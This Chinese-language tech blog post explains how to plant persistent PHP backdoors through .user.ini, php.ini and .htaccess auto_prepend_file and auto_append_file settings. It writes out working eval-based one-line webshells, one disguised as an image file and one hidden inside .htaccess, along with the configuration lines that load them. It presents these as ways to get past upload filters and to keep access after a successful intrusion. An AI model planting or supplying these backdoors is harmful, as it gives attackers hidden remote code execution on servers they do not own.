• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

利用php配置文件构成后门

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

1、.user.ini造成后门

1).user.ini

官网解释为:
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
两个新的 INI 指令, user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。


跟apache里的.htaccess相比,它的使用范围更广泛(CGI/FastCGI SAPI),只要是以fastcgi运行的php都可以用这个方法,nginx和iis下都可以。

跟php.ini的默认配置相比,这里可以使用除PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。


注:php配置设定里的几种模式:

详细描述参考:https://www.php.net/manual/zh/configuration.changes.modes.php

2)构造思路

这里可以通过.user.ini设置配置选项(如php.ini下设置一样),但必须在相应的模式下才允许设置,但这里可以利用两个配置项设置一个简单的后门:

这两个选项的作用是,在php文件加载前,提前加载一个文件,如同require函数
例:auto_prepend_file=1.php
在访问该网站的php文件时,会自动先加载1.php


所以构造后门的思路是:借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

3)测试

测试环境:apache+php7.3


首先构建一句话木马1.png(伪装成图片):

<?php @eval($_request['shell']);?>


然后.user.ini :

auto_prepend_file=1.png


将.user.ini和1.png放到对应网站文件夹里,然后访问该文件夹里的任意php文件:

然后访问test.php,成功执行:



这里一般可以在某些文件上传场景中利用,不允许上传php文件,但如果该上传文件下存在php文件,就可以上传一个.user.ini和后门上去,尝试是否可以成功(思路与.htaccess差不多)


2、php.ini造成的后门

与上文一样,均是利用auto_prepend_file或auto_append_file选项,这里需要对php.ini文件进行修改。。所以我感觉挺鸡肋的,如果在已经渗透成功后留后门也是一种方式。

但使用php.ini时,需要结合include_path选项一起使用,不然其不知道去哪寻找预加载的文件

其会去include_path里设置的路径下去寻找;所以一般利用方式如下:

假设预加载的后门1.php在/includes
则在php.ini里添加:
include_path='/includes'

auto_prepend_file=1.php


3、.htaccess造成的后门

与上述两种方式类似,同样利用auto_append_file或auto_prepend_file;
与绕过文件上传时上传.htaccess原理类似,不过这里改成了预加载,而不是将图片按php文件解析

1)利用前需要满足两个条件:

Apache中修改配置文件httpd.conf
1、修改如下内容
Options FollowSymLinks
AllowOverride None
为:
Options FollowSymLinks
AllowOverride All

2、开启rewrite模块
LoadModule rewrite_module modules/mod_rewrite.so




2)构造.htaccess文件:

php_value auto_append_file .htaccess
#<?php eval($_REQUEST['shell']);




3)然后访问任意php文件都会加载该后门:


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
【转】java,php,javaScript中的回调函数的实现发布时间:2022-07-10
下一篇:
PHP第三方登录--微博登录发布时间:2022-07-10
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap